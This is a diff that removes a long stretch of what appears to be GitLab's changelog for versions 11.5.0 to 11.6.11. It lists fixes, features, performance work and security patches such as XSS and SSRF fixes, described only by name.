-- Don't hide CI dropdown behind diff summary. (gfyoung)
-- Fix spacing on discussions.
-- Fixes missing margin in releases block.
-
-### Changed (22 changes, 8 of them are from the community)
-
-- Show clusters of ancestors in cluster list page. !22996
-- Remove unnecessary line before reply holder. !23092 (George Tsiolis)
-- Make the Pages permission setting more clear. !23146
-- Disable merging of labels with same names. !23265
-- Allow basic authentication on go get middleware. !23497 (Morty Choi @mortyccp)
-- No longer require email subaddressing for issue creation by email. !23523
-- Adjust padding of .dropdown-title to comply with design specs. !23546
-- Make commit IDs in merge request discussion header monospace. !23562
-- Update environments breadcrumb. !23751 (George Tsiolis)
-- Add date range in milestone change email notifications. !23762
-- Require Knative to be installed only on an RBAC kubernetes cluster. !23807 (Chris Baumbauer)
-- Fix label and header styles in the job details sidebar. !23816 (Nathan Friend)
-- Add % prefix to milestone reference links. !23928
-- Reorder sidebar menu item for group clusters. !24001 (George Tsiolis)
-- Support CURD operation for Links as one of the Release assets. !24056
-- Upgrade Omniauth and JWT gems to switch away from Google+ API. !24068
-- Renames Milestone sort into Milestone due date. !24080 (Jacopo Beschi @jacopo-beschi)
-- Discussion filter only displayed in discussions tab for merge requests. !24082
-- Make RBAC enabled default for new clusters. !24119
-- Hashed Storage: Only set as `read_only` when starting the per-project migration. !24128
-- Knative version bump 0.1.3 -> 0.2.2. (Chris Baumbauer)
-- Show message on non-diff discussions.
-
-### Performance (7 changes)
-
-- Fix some N+1 queries related to Admin Dashboard, User Dashboards and Activity Stream. !23034
-- Add indexes to speed up CI query. !23188
-- Improve the loading time on merge request's discussion page by caching diff highlight. !23857
-- Cache avatar URLs and paths within a request. !23950
-- Improve snippet search performance by removing duplicate counts. !23952
-- Skip per-commit validations already evaluated. !23984
-- Fix timeout issues retrieving branches via API. !24034
-
-### Added (29 changes, 6 of them are from the community)
-
-- Handle ci.skip push option. !15643 (Jonathon Reinhart)
-- Add NGINX 0.16.0 and above metrics. !22133
-- Add project milestone link. !22552
-- Support tls communication in gitaly. !22602
-- Add option to make ci variables protected by default. !22744 (Alexis Reigel)
-- Add project identifier as List-Id email Header to ease filtering. !22817 (Olivier Crête)
-- Add markdown helper buttons to file editor. !23480
-- Allow to include templates in gitlab-ci.yml. !23495
-- Extend override check to also check arity. !23498 (Jacopo Beschi @jacopo-beschi)
-- Add importing of issues from CSV file. !23532
-- Add submit feedback link to help dropdown. !23547
-- Send a notification email to project maintainers when a mirror update fails. !23595
-- Restore Object Pools when restoring an object pool. !23682
-- Creates component for release block. !23697
-- Configure Auto DevOps deployed applications with secrets from prefixed CI variables. !23719
-- Add name, author_id, and sha to releases table. !23763
-- Display a list of Sentry Issues in GitLab. !23770
-- Releases API. !23795
-- Creates frontend app for releases. !23796
-- Add new pipeline variable CI_COMMIT_SHORT_SHA. !23822
-- Create system notes on issue / MR creation when labels, milestone, or due date is set. !23859
-- Adds API documentation for releases. !23901
-- Add API Support for Kubernetes integration. !23922
-- Expose CI/CD predefined variable `CI_API_V4_URL`. !23936
-- Add Knative metrics to Prometheus. !23972 (Chris Baumbauer)
-- Use reports syntax for Dependency scanning in Auto DevOps. !24081
-- Allow to include files from another projects in gitlab-ci.yml. !24101
-- User Popovers for Commit Infos, Member Lists and Snippets. !24132
-- Add no-color theme for syntax highlighting. (khm)
-
-### Other (45 changes, 30 of them are from the community)
-
-- Redesign project lists UI. !22682
-- [Rails5.1] Update functional specs to use new keyword format. !23095 (@blackst0ne)
-- Update a condition to visibility a merge request collaboration message. !23104 (Harry Kiselev)
-- Remove framework/mobile.scss. !23301 (Takuya Noguchi)
-- Passing the separator argument as a positional parameter is deprecated. !23334 (Jasper Maes)
-- Clarifies docs about CI `allow_failure`. !23367 (C.J. Jameson)
-- Refactor issuable sidebar to use serializer. !23379
-- Refactor the logic of updating head pipelines for merge requests. !23502
-- Allow user to add Kubernetes cluster for clusterable when there are ancestor clusters. !23569
-- Adds explanatory text to input fields on user profile settings page. !23673
-- Externalize strings from `/app/views/shared/notes`. !23696 (Tao Wang)
-- Remove rails 4 support in CI, Gemfiles, bin/ and config/. !23717 (Jasper Maes)
-- Fix calendar events fetching error on private profile page. !23718 (Harry Kiselev)
-- Update GitLab Workhorse to v8.0.0. !23740
-- Hide confidential events in the API. !23746
-- Changed Userpopover Fixtures and shadow color. !23768
-- Fix deprecation: Passing conditions to delete_all is deprecated. !23817 (Jasper Maes)
-- Fix deprecation: Passing ActiveRecord::Base objects to sanitize_sql_hash_for_assignment. !23818 (Jasper Maes)
-- Remove rails4 specific code. !23847 (Jasper Maes)
-- Remove deprecated ActionDispatch::ParamsParser. !23848 (Jasper Maes)
-- Fix deprecation: Comparing equality between ActionController::Parameters and a Hash is deprecated. !23855 (Jasper Maes)
-- Fix deprecation: Directly inheriting from ActiveRecord::Migration is deprecated. !23884 (Jasper Maes)
-- Fix deprecation: alias_method_chain is deprecated. Please, use Module#prepend instead. !23887 (Jasper Maes)
-- Update specs to exclude possible false positive pass. !23893 (@blackst0ne)
-- Passing an argument to force an association to reload is now deprecated. !23894 (Jasper Maes)
-- ActiveRecord::Migration -> ActiveRecord::Migration[5.0]. !23910 (Jasper Maes)
-- Split bio into individual line in extended user tooltips. !23940
-- Fix deprecation: redirect_to :back is deprecated. !23943 (Jasper Maes)
-- Fix deprecation: insert_sql is deprecated and will be removed. !23944 (Jasper Maes)
-- Upgrade @gitlab/ui to 1.16.2. !23946
-- convert specs in javascripts/ and support/ to new syntax. !23947 (Jasper Maes)
-- Remove deprecated xhr from specs. !23949 (Jasper Maes)
-- Remove app/views/shared/issuable/_filter.html.haml. !24008 (Takuya Noguchi)
-- Fix deprecation: Using positional arguments in integration tests. !24009 (Jasper Maes)
-- UI improvements for redesigned project lists. !24011
-- Update cert-manager chart from v0.5.0 to v0.5.2. !24025 (Takuya Noguchi)
-- Hide spinner on empty activities list on user profile overview. !24063
-- Don't show Auto DevOps enabled banner for projects with CI file or CI disabled. !24067
-- Update GitLab Runner Helm Chart to 0.1.43. !24083
-- Fix navigation style in docs. !24090 (Takuya Noguchi)
-- Remove gem install bundler from Docker-based Ruby environments. !24093 (Takuya Noguchi)
-- Fix deprecation: Using positional arguments in integration tests. !24110 (Jasper Maes)
-- Fix deprecation: returning false in Active Record and Active Model callbacks will not implicitly halt a callback chain. !24134 (Jasper Maes)
-- ActiveRecord::Migration -> ActiveRecord::Migration[5.0] for AddIndexesToCiBuildsAndPipelines. !24167 (Jasper Maes)
-- Update url placeholder for the sentry configuration page. !24338
-
-
-## 11.6.11 (2019-04-23)
-
-### Security (1 change)
-
-- Fixed ability to see private groups by users not belonging to given group.
-
-### Fixed (2 changes)
-
-- Bring back Rugged implementation of find_commit. !25477
-- Avoid excessive recursive calls with Rugged TreeEntries. !26813
-
-### Performance (1 change)
-
-- Bring back Rugged implementation of ListCommitsByOid. !27441
-
-### Other (4 changes)
-
-- Bring back Rugged implementation of GetTreeEntries. !25674
-- Bring back Rugged implementation of CommitIsAncestor. !25702
-- Bring back Rugged implementation of TreeEntry. !25706
-- Bring back Rugged implementation of commit_tree_entry. !25896
-
-
-## 11.6.10 (2019-02-28)
-
-### Security (21 changes)
-
-- Stop linking to unrecognized package sources. !55518
-- Check snippet attached file to be moved is within designated directory.
-- Fix potential Addressable::URI::InvalidURIError.
-- Do not display impersonated sessions under active sessions and remove ability to revoke session.
-- Display only information visible to current user on the Milestone page.
-- Show only merge requests visible to user on milestone detail page.
-- Disable issue boards API when issues are disabled.
-- Don't show new issue link after move when a user does not have permissions.
-- Fix git clone revealing private repo's presence.
-- Fix blind SSRF in Prometheus integration by checking URL before querying.
-- Check if desired milestone for an issue is available.
-- Don't allow non-members to see private related MRs.
-- Fix arbitrary file read via diffs during import.
-- Display the correct number of MRs a user has access to.
-- Forbid creating discussions for users with restricted access.
-- Do not disclose milestone titles for unauthorized users.
-- Validate session key when authorizing with GCP to create a cluster.
-- Block local URLs for Kubernetes integration.
-- Limit mermaid rendering to 5K characters.
-- Remove the possibility to share a project with a group that a user is not a member of.
-- Fix leaking private repository information in API.
-
-
-## 11.6.9 (2019-02-04)
-
-### Security (1 change)
-
-- Use sanitized user status message for user popover.
-
-
-## 11.6.8 (2019-01-30)
-
-- No changes.
-
-## 11.6.5 (2019-01-17)
-
-### Fixed (5 changes)
-
-- Add syntax highlighting to suggestion diff. !24156
-- Fix broken templated "Too many changes to show" text. !24282
-- Fix requests profiler in admin page not rendering HTML properly. !24291
-- Fix no avatar not showing in user selection box. !24346
-- Fixed diff suggestions removing dashes.
-
-
-## 11.6.4 (2019-01-15)
-
-### Security (1 change)
-
-- Validate bundle files before unpacking them.
-
-
-## 11.6.3 (2019-01-04)
-
-### Fixed (1 change)
-
-- Fix clone URL not showing if protocol is HTTPS. !24131
-
-
-## 11.6.2 (2019-01-02)
-
-### Fixed (7 changes)
-
-- Hide cluster features that don't work yet with Group Clusters. !23935
-- Fix a 500 error that could occur until all migrations are done. !23939
-- Fix missing Git clone button when protocol restriction setting enabled. !24015
-- Fix clone dropdown parent inheritance issues in HAML. !24029
-- Fix content-disposition in blobs and files API endpoint. !24078
-- Fixed markdown toolbar buttons.
-- Adjust line-height of blame view line numbers.
-
-
-## 11.6.1 (2018-12-28)
-
-### Security (15 changes)
-
-- Escape label and milestone titles to prevent XSS in GFM autocomplete. !2740
-- Prevent private snippets from being embeddable.
-- Add subresources removal to member destroy service.
-- Escape html entities in LabelReferenceFilter when no label found.
-- Allow changing group CI/CD settings only for owners.
-- Authorize before reading job information via API.
-- Prevent leaking protected variables for ambiguous refs.
-- Ensure that build token is only used when running.
-- Issuable no longer is visible to users when project can't be viewed.
-- Don't expose cross project repositories through diffs when creating merge reqeusts.
-- Fix SSRF with import_url and remote mirror url.
-- Fix persistent symlink in project import.
-- Set URL rel attribute for broken URLs.
-- Project guests no longer are able to see refs page.
-- Delete confidential todos for user when downgraded to Guest.
-
-### Other (1 change)
-
-- Fix due date test. !23845
-
-
-## 11.6.0 (2018-12-22)
-
-### Security (24 changes, 1 of them is from the community)
-
-- Fix possible XSS attack in Markdown urls with spaces. !2599
-- Update rack to 2.0.6 (for QA environments). !23171 (Takuya Noguchi)
-- Bump nokogiri, loofah, and rack gems for security updates. !23204
-- Encrypt runners tokens. !23412
-- Encrypt CI/CD builds authentication tokens. !23436
-- Configure mermaid to not render HTML content in diagrams.
-- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
-- Removed ability to see private group names when the group id is entered in the url.
-- Fix stored XSS for Environments.
-- Fix persistent symlink in project import.
-- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
-- Fixed ability to comment on locked/confidential issues.
-- Fix CRLF vulnerability in Project hooks.
-- Fix SSRF in project integrations.
-- Resolve reflected XSS in Ouath authorize window.
-- Restrict Personal Access Tokens to API scope on web requests.
-- Provide email notification when a user changes their email address.
-- Don't expose confidential information in commit message list.
-- Validate LFS hrefs before downloading them.
-- Do not follow redirects in Prometheus service when making http requests to the configured api url.
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-- Redact sensitive information on gitlab-workhorse log.
-- Fix milestone promotion authorization check.
-- Prevent a path traversal attack on global file templates.
-
-### Removed (1 change)
-
-- Remove obsolete gitlab_shell rake tasks. !22417
-
-### Fixed (86 changes, 13 of them are from the community)
-
-- Remove limit of 100 when searching repository code. !8671
-- Show error message when attempting to reopen an MR and there is an open MR for the same branch. !16447 (Akos Gyimesi)
-- Fix a bug where internal email pattern wasn't respected. !22516
-- Fix project selector consistency in groups issues / MRs / boards pages. !22612 (Heinrich Lee Yu)
-- Add empty state for graphs with no values. !22630
-- Fix navigating by unresolved discussions on Merge Request page. !22789
-- Fix "merged with [commit]" info for merge requests being merged automatically by other actions. !22794
-- Fixing regression issues on pages settings and details. !22821
-- Remove duplicate primary button in dashboard snippets on small viewports. !22902 (George Tsiolis)
-- Fix API::Namespaces routing to accept namepaces with dots. !22912
-- Switch kubernetes:active with checking in Auto-DevOps.gitlab-ci.yml. !22929
-- Avoid Gitaly RPC errors when fetching diff stats. !22995
-- Removes promote to group label for anonymous user. !23042 (Jacopo Beschi @jacopo-beschi)
-- Fix enabling project deploy key for admins. !23043
-- Align issue status label and confidential icon. !23046 (George Tsiolis)
-- Fix default sorting for subgroups and projects list. !23058 (Jacopo Beschi @jacopo-beschi)
-- Hashed Storage: allow migration to be retried in partially migrated projects. !23087
-- Fix line height of numbers in file blame view. !23090 (Johann Hubert Sonntagbauer)
-- Fixes an issue where default values from models would override values set in the interface (e.g. users would be set to external even though their emails matches the internal email address pattern). !23114
-- Remove display of local Sidekiq process in /admin/sidekiq. !23118
-- Fix unrelated deployment status in MR widget. !23175
-- Respect confirmed flag on secondary emails. !23181
-- Restrict member access level to be higher than that of any parent group. !23226
-- Return real deployment status to frontend. !23270
-- Handle force_remove_source_branch when creating merge request. !23281
-- Avoid creating invalid refs using rugged, shelling out for writing refs. !23286
-- Remove needless auto-capitalization on Wiki page titles. !23288
-- Modify the wording for the knative cluster application to match upstream. !23289 (Chris Baumbauer)
-- Change container width for project import. !23318 (George Tsiolis)
-- Validate chunk size when persist. !23341
-- Resolve Main navbar is broken in certain viewport widths. !23348
-- Gracefully handle references with null bytes. !23365
-- Display commit ID for commit diff discussion on merge request. !23370
-- Pass commit when posting diff discussions. !23371
-- Fix flash notice styling for fluid layout. !23382
-- Add monkey patch to unicorn to fix eof? problem. !23385
-- Commits API: Preserve file content in move operations if unspecified. !23387
-- Disable password autocomplete in mirror form fill. !23402
-- Fix "protected branches only" checkbox not set properly at init. !23409
-- Support RSA and ECDSA algorithms in Omniauth JWT provider. !23411 (Michael Tsyganov)
-- Make KUBECONFIG nil if KUBE_TOKEN is nil. !23414
-- Allow search and sort users at same time on admin users page. !23439
-- Fix: Unstar icon button is misaligned. !23444
-- Fix error when searching for group issues with priority or popularity sort. !23445
-- Fix Order By dropdown menu styling in tablet and mobile screens. !23446
-- Fix collapsing discussion replies. !23462
-- Gracefully handle unknown/invalid GPG keys. !23492
-- Fix multiple commits shade overlapping vertical discussion line. !23515
-- Use read_repository scope on read-only files API. !23534
-- Avoid 500's when serializing legacy diff notes. !23544
-- Fix web hook functionality when the database encryption key is too short. !23573
-- Hide Knative from group cluster applications until supported. !23577
-- Add top padding for nested environment items loading icon. !23580 (George Tsiolis)
-- Improve help and validation sections of maximum build timeout inputs. !23586
-- Fix milestone select in issue sidebar of issue boards. !23625
-- Fix gitlab:web_hook tasks. !23635
-- Avoid caching BroadcastMessage as an ActiveRecord object. !23662
-- Only allow strings in URL::Sanitizer.valid?. !23675
-- Fix a frozen string error in app/mailers/notify.rb. !23683
-- Fix a frozen string error in lib/gitlab/utils.rb. !23690
-- Fix MR resolved discussion counts being too low. !23710
-- Fix a potential frozen string error in app/mailers/notify.rb. !23728
-- Remove unnecessary div from MarkdownField to apply list styles correctly. !23733
-- Display reply field if resolved discussion has no replies. !23801
-- Restore kubernetes:active in Auto-DevOps.gitlab-ci.yml (reverts 22929). !23826
-- Fix mergeUrlParams with fragment URL. !54218 (Thomas Holder)
-- Fixed multiple diff line discussions not expanding.
-- Fixed diff files expanding not loading commit content.
-- Fixed styling of image comment badges on commits.
-- Resolve possible cherry pick API race condition.
-- When user clicks linenumber in MR changes, highlight that line.
-- Remove old webhook logs after 90 days, as documented, instead of after 2.
-- Add an external IP address to the knative cluster application page. (Chris Baumbauer)
-- Fixed duplicate discussions getting added to diff lines.
-- Fix deadlock on ChunkedIO.
-- Show tree collapse button for merge request commit diffs.
-- Use approximate count for big tables for usage statistics.
-- Lock writes to trace stream.
-- Ensure that SVG sprite icons are properly rendered in IE11.
-- Make new branch form fields' fonts consistent.
-- Open first 10 merge request files in IDE.
-- Prevent user from navigating away from file edit without commit.
-- Prevent empty button being rendered in empty state.
-- Adds margins between tags when a job is stuck.
-- Fix Image Lazy Loader for some older browsers.
-- Correctly styles tags in sidebar for job page.
-
-### Changed (34 changes, 9 of them are from the community)
-
-- Include new link in breadcrumb for issues, merge requests, milestones, and labels. !18515 (George Tsiolis)
-- Allow sorting issues and MRs in reverse order. !21438
-- Design improvements to project overview page. !22196
-- Remove auto deactivation when failed to create a pipeline via pipeline schedules. !22243
-- Use group clusters when deploying (DeploymentPlatform). !22308
-- Improve initial discussion rendering performance. !22607
-- removes partially matching of No Label filter and makes it case-insensitive. !22622 (Jacopo Beschi @jacopo-beschi)
-- Use search bar for filtering in dashboard issues / MRs. !22641 (Heinrich Lee Yu)
-- Show different empty state for filtered issues and MRs. !22775 (Heinrich Lee Yu)
-- Relocate JSONWebToken::HMACToken from EE. !22906
-- Resolve Add border around the repository file tree. !23018
-- Change breadcrumb title for contribution charts. !23071 (George Tsiolis)
-- Update environments metrics empty state. !23074 (George Tsiolis)
-- Refine cursor positioning in Markdown Editor for wrap tags. !23085 (Johann Hubert Sonntagbauer)
-- Use reports syntax for SAST in Auto DevOps. !23163
-- SystemCheck: Use a more reliable way to detect current Ruby version. !23291
-- Changed frontmatter filtering to support YAML, JSON, TOML, and arbitrary languages. !23331 (Travis Miller)
-- Don't remove failed install pods after installing GitLab managed applications. !23350
-- Expose merge request pipeline variables. !23398
-- Scope default MR search in WebIDE dropdown to current project. !23400
-- Show user contributions in correct timezone within user profile. !23419
-- Redesign of MR header sections (CE). !23465
-- Auto DevOps: Add echo for each branch of the deploy() function where we run helm upgrade. !23499
-- Updates service to update Kubernetes project namespaces and restricted service account if present. !23525
-- Adjust divider margin to comply with design specs. !23548
-- Adjust dropdown item and header padding to comply with design specs. !23552
-- Truncate merge request titles with periods instead of ellipsis. !23558
-- Remove close icon from projects dropdown in issue boards. !23567
-- Change dropdown divider color to gray-200 (#dfdfdf). !23592
-- Define the default value for only/except policies. !23765
-- Don't show Memory Usage for unmerged MRs.
-- reorder notification settings by noisy-ness. (C.J. Jameson)
-- Changed merge request filtering to be by path instead of name.
-- Make diff file headers sticky.
-
-### Performance (22 changes, 6 of them are from the community)
-
-- Upgrade to Ruby 2.5.3. !2806
-- Removes all the irrelevant code and columns that were migrated from the Project table over to the ProjectImportState table. !21497
-- Approximate counting strategy with TABLESAMPLE. !22650
-- Replace tooltip directive with gl-tooltip diretive in badges, cycle analytics, and diffs. !22770 (George Tsiolis)
-- Validate foreign keys being created and indexed for column with _id. !22808
-- Remove monospace extend. !23089 (George Tsiolis)
-- Use Nokogiri as the ActiveSupport XML backend. !23136
-- Improve memory performance by reducing dirty pages after fork(). !23169
-- Add partial index for ci_builds on project_id and status. !23268
-- Reduce Gitaly calls in projects dashboard. !23307
-- Batch load only data from same repository when lazy object is accessed. !23309
-- Add index for events on project_id and created_at. !23354
-- Remove index for notes on updated_at. !23356
-- Improves performance of Project#readme_url by caching the README path. !23357
-- Populate MR metrics with events table information (migration). !23564
-- Remove unused data from discussions endpoint. !23570
-- Speed up issue board lists in groups with many projects.
-- Use cached size when passing artifacts to Runner.
-- Enable even more frozen string for lib/gitlab. (gfyoung)
-- Enable even more frozen string in lib/gitlab/**/*.rb. (gfyoung)
-- Enable even more frozen string in lib/gitlab/**/*.rb. (gfyoung)
-- Enable even more frozen string for lib/gitlab. (gfyoung)
-
-### Added (32 changes, 13 of them are from the community)
-
-- Add ability to create group level clusters and install gitlab managed applications. !22450
-- Creates /create_merge_request quickaction. !22485 (Jacopo Beschi @jacopo-beschi)
-- Filter by None/Any for labels in issues/mrs API. !22622 (Jacopo Beschi @jacopo-beschi)
-- Chat message push notifications now include links back to GitLab branches. !22651 (Tony Castrogiovanni)
-- Added feature flag to signal content headers detection by Workhorse. !22667
-- Add Discord integration. !22684 (@blackst0ne)
-- Upgrade helm to 2.11.0 and upgrade on every install. !22693
-- Add knative client to kubeclient library. !22968 (cab105)
-- Allow SSH public-key authentication for push mirroring. !22982
-- Allow deleting a Pipeline via the API. !22988
-- #40635: Adds support for cert-manager. !23036 (Amit Rathi)
-- WebIDE: Pressing Ctrl-Enter while typing on the commit message now performs the commit action. !23049 (Thomas Pathier)
-- Adds Any option to label filters. !23111 (Jacopo Beschi @jacopo-beschi)
-- Added glob for CI changes detection. !23128 (Kirill Zaitsev)
-- Add model and relation to store repo full path in database. !23143
-- Add ability to render suggestions. !23147
-- Introduce Knative and Serverless Components. !23174 (Chris Baumbauer)
-- Use BFG object maps to clean projects. !23189
-- Merge request pipelines. !23217
-- Extended user centric tooltips on issue and MR page. !23231
-- Add a rebase API endpoint for merge requests. !23296
-- Add config to prohibit impersonation. !23338
-- Merge request pipeline tag, and adds tags to pipeline view. !23364
-- #52753: HTTPS for JupyterHub installation. !23479 (Amit Rathi)
-- Fill project_repositories for hashed storage projects. !23482
-- Ability to override email for cert-manager. !23503 (Amit Rathi)
-- Allow public forks to be deduplicated. !23508
-- Pipeline trigger variable values are hidden in the UI by default. Maintainers have the option to reveal them. !23518 (jhampton)
-- Add new endpoint to download single artifact file for a ref. !23538
-- Log and pass correlation-id between Unicorn, Sidekiq and Gitaly.
-- Allow user to scroll to top of tab on MR page.
-- Adds states to the deployment widget.
-
-### Other (54 changes, 30 of them are from the community)
-
-- Switch to Rails 5. !21492
-- Migration to write fullpath in all repository configs. !22322
-- Rails5: env is deprecated and will be removed from Rails 5.1. !22626 (Jasper Maes)
-- Update haml_lint to 0.28.0. !22660 (Takuya Noguchi)
-- Update ffaker to 2.10.0. !22661 (Takuya Noguchi)
-- Drop gcp_clusters table. !22713
-- Upgrade minimum required Git version to 2.18.0. !22803
-- Adds new icon size to Vue icon component. !22899
-- Make sure there's only one slash as path separator. !22954
-- Show HTTP response code for Kubernetes errors. !22964
-- Update config map for gitlab managed application if already present on install. !22969
-- Drop default value on status column in deployments table. !22971
-- UI improvements to user's profile. !22977
-- Update asana to 0.8.1. !23039 (Takuya Noguchi)
-- Update asciidoctor to 1.5.8. !23047 (Takuya Noguchi)
-- Make auto-generated icons for subgroups in the breadcrumb dropdown display as a circle. !23062 (Thomas Pathier)
-- Make reply shortcut only quote selected discussion text. !23096 (Thomas Pathier)
-- Fix typo in notebook props. !23103 (George Tsiolis)
-- Fix typos in lib. !23106 (George Tsiolis)
-- Rename diffs store variable. !23123 (George Tsiolis)
-- Fix overlapping navbar separator and overflowing navbar dropdown on small displays. !23126 (Thomas Pathier)
-- Show what RPC is called in the performance bar. !23140
-- Updated Gitaly to v0.133.0. !23148
-- Rails5: Passing a class as a value in an Active Record query is deprecated. !23164 (Jasper Maes)
-- Fix project identicon aligning Harry Kiselev. !23166 (Harry Kiselev)
-- Fix horizontal scrollbar overlapping on horizontal scrolling-tabs. !23167 (Harry Kiselev)
-- Fix bottom paddings of profile header and some markup updates of profile. !23168 (Harry Kiselev)
-- Fixes to AWS documentation spelling and grammar. !23198 (Brendan O'Leary)
-- Adds a PHILOSOPHY.md which references GitLab Product Handbook. !23200
-- Externalize strings from `/app/views/invites`. !23205 (Tao Wang)
-- Externalize strings from `/app/views/project/runners`. !23208 (Tao Wang)
-- Fix typo for scheduled pipeline. !23218 (Davy Defaud)
-- Force content disposition attachment to several endpoints. !23223
-- Upgrade kubeclient to 4.0.0. !23261 (Praveen Arimbrathodiyil @pravi)
-- Update used version of Runner Helm Chart to 0.1.38. !23304
-- render :nothing option is deprecated, Use head method to respond with empty response body. !23311 (Jasper Maes)
-- Passing an argument to force an association to reload is now deprecated. !23334 (Jasper Maes)
-- Externalize strings from `/app/views/snippets`. !23351 (Tao Wang)
-- Fix deprecation: You are passing an instance of ActiveRecord::Base to. !23369 (Jasper Maes)
-- Resolve status emoji being replaced by avatar on mobile. !23408
-- Fix deprecation: render :text is deprecated because it does not actually render a text/plain response. !23425 (Jasper Maes)
-- Fix lack of documentation on how to fetch a snippet's content using API. !23448 (Colin Leroy)
-- Upgrade GitLab Workhorse to v7.3.0. !23489
-- Fallback to admin KUBE_TOKEN for project clusters only. !23527
-- Update used version of Runner Helm Chart to 0.1.39. !23633
-- Show primary button when all labels are prioritized. !23648 (George Tsiolis)
-- Upgrade workhorse to 7.6.0. !23694
-- Upgrade Gitaly to v1.7.1 for correlation-id logging. !23732
-- Fix due date test. !23845
-- Remove unused project method. !54103 (George Tsiolis)
-- Uses new gitlab-ui components in Jobs and Pipelines components.
-- Replaces tooltip directive with the new gl-tooltip directive for consistency in some ci/cd code.
-- Bump gpgme gem version from 2.0.13 to 2.0.18. (asaparov)
-- Enable Rubocop on lib/gitlab. (gfyoung)
-
-
-## 11.5.11 (2019-04-23)
-
-### Fixed (2 changes)
-
-- Bring back Rugged implementation of find_commit. !25477
-- Avoid excessive recursive calls with Rugged TreeEntries. !26813
-
-### Performance (1 change)
-
-- Bring back Rugged implementation of ListCommitsByOid. !27441
-
-### Other (4 changes)
-
-- Bring back Rugged implementation of GetTreeEntries. !25674
-- Bring back Rugged implementation of CommitIsAncestor. !25702
-- Bring back Rugged implementation of TreeEntry. !25706
-- Bring back Rugged implementation of commit_tree_entry. !25896
-
-
-## 11.5.8 (2019-01-28)
-
-### Security (21 changes)
-
-- Make potentially malicious links more visible in the UI and scrub RTLO chars from links. !2770
-- Don't process MR refs for guests in the notes. !2771
-- Fixed XSS content in KaTex links.
-- Verify that LFS upload requests are genuine.
-- Extract GitLab Pages using RubyZip.
-- Prevent awarding emojis to notes whose parent is not visible to user.
-- Prevent unauthorized replies when discussion is locked or confidential.
-- Disable git v2 protocol temporarily.
-- Fix showing ci status for guest users when public pipline are not set.
-- Fix contributed projects info still visible when user enable private profile.
-- Disallows unauthorized users from accessing the pipelines section.
-- Add more LFS validations to prevent forgery.
-- Use common error for unauthenticated users when creating issues.
-- Fix slow regex in project reference pattern.
-- Fix private user email being visible in push (and tag push) webhooks.
-- Fix wiki access rights when external wiki is enabled.
-- Fix path disclosure on project import error.
-- Restrict project import visibility based on its group.
-- Expose CI/CD trigger token only to the trigger owner.
-- Notify only users who can access the project on project move.
-- Alias GitHub and BitBucket OAuth2 callback URLs.
-
-
-## 11.5.5 (2018-12-20)
-
-### Security (1 change)
-
-- Fix persistent symlink in project import.
-
-
-## 11.5.3 (2018-12-06)
-
-### Security (1 change)
-
-- Prevent a path traversal attack on global file templates.
-
-
-## 11.5.2 (2018-12-03)
-
-### Removed (1 change)
-
-- Removed Site Statistics optimization as it was causing problems. !23314
-
-### Fixed (6 changes, 1 of them is from the community)
-
-- Display impersonation token value only after creation. !22916
-- Fix not render emoji in filter dropdown. !23112 (Hiroyuki Sato)
-- Fixes stuck tooltip on stop env button. !23244
-- Correctly handle data-loss scenarios when encrypting columns. !23306
-- Clear BatchLoader context between Sidekiq jobs. !23308
-- Fix handling of filenames with hash characters in tree view. !23368
-
-
-## 11.5.1 (2018-11-26)
-
-### Security (17 changes)
-
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-- Fix CRLF vulnerability in Project hooks.
-- Fix possible XSS attack in Markdown urls with spaces.
-- Redact sensitive information on gitlab-workhorse log.
-- Do not follow redirects in Prometheus service when making http requests to the configured api url.
-- Don't expose confidential information in commit message list.
-- Provide email notification when a user changes their email address.
-- Restrict Personal Access Tokens to API scope on web requests.
-- Resolve reflected XSS in Ouath authorize window.
-- Fix SSRF in project integrations.
-- Fixed ability to comment on locked/confidential issues.
-- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
-- Fix milestone promotion authorization check.
-- Configure mermaid to not render HTML content in diagrams.
-- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
-- Removed ability to see private group names when the group id is entered in the url.
-- Fix stored XSS for Environments.
-
-
-## 11.5.0 (2018-11-22)
-
-### Security (10 changes, 1 of them is from the community)
-
-- Escape entity title while autocomplete template rendering to prevent XSS. !2556
-- Update moment to 2.22.2. !22648 (Takuya Noguchi)
-- Redact personal tokens in unsubscribe links.
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-- Persist only SHA digest of PersonalAccessToken#token.
-- Monkey kubeclient to not follow any redirects.
-- Prevent SSRF attacks in HipChat integration.
-- Prevent templated services from being imported.
-- Validate Wiki attachments are valid temporary files.
-- Fix XSS in merge request source branch name.
-
-### Removed (2 changes)
-
-- Remove Git circuit breaker. !22212
-- Remove Koding integration and documentation. !22334
-
-### Fixed (74 changes, 15 of them are from the community)
-
-- Hide all tables on Pipeline when no Jobs for the Pipeline. !18540 (Takuya Noguchi)
-- Fixing count on Milestones. !21446
-- Use case insensitive username lookups. !21728 (William George)
-- Correctly process Bamboo API result array. !21970 (Alex Lossent)
-- Fix 'merged with' UI being displayed when merge request has no merge commit. !22022
-- Fix broken file name navigation on MRs. !22109
-- Fix incorrect spacing between buttons when commenting on a MR. !22135
-- Vertical align Pipeline Graph in Commit Page. !22173 (Johann Hubert Sonntagbauer)
-- Reject invalid branch names in repository compare controller. !22186
-- Fix size of emojis of user status in user menu. !22194
-- Use the standard PIP_CACHE_DIR for Python dependency caching template. !22211 (Takuya Noguchi)
-- Fix bug with wiki attachments content disposition. !22220
-- Does not allow a SSH URI when importing new projects. !22309
-- fix duplicated key in license management job auto devops gitlab ci template. !22311 (Adam Lemanski)
-- Fix commit signature error when project is disabled. !22344
-- Show available clusters when installed or updated. !22356
-- Fix auto-corrected upload URLs in webhooks. !22361
-- Fix a bug displaying certain wiki pages. !22377
-- Fix prometheus graphs in firefox. !22400
-- Resolve assign-me quick action doesn't work if there is extra white space. !22402
-- Remove base64 encoding from files that contain plain text. !22425
-- Strip whitespace around GitHub personal access tokens. !22432
-- Fix 500 error when testing webhooks with redirect loops. !22447 (Heinrich Lee Yu)
-- Fix rendering of 'Protected' value on Runner details page. !22459
-- Fix bug stopping non-admin users from changing visibility level on group creation. !22468
-- Make Issue Board sidebar show project-specific labels based on selected Issue. !22475
-- Fix EOF detection with CI artifacts metadata. !22479
-- Fix transient spec error in the bar_chart component. !22495
-- Resolve LFS not correctly showing enabled. !22501
-- If user was not found, service hooks won't run on post receive background job. !22519
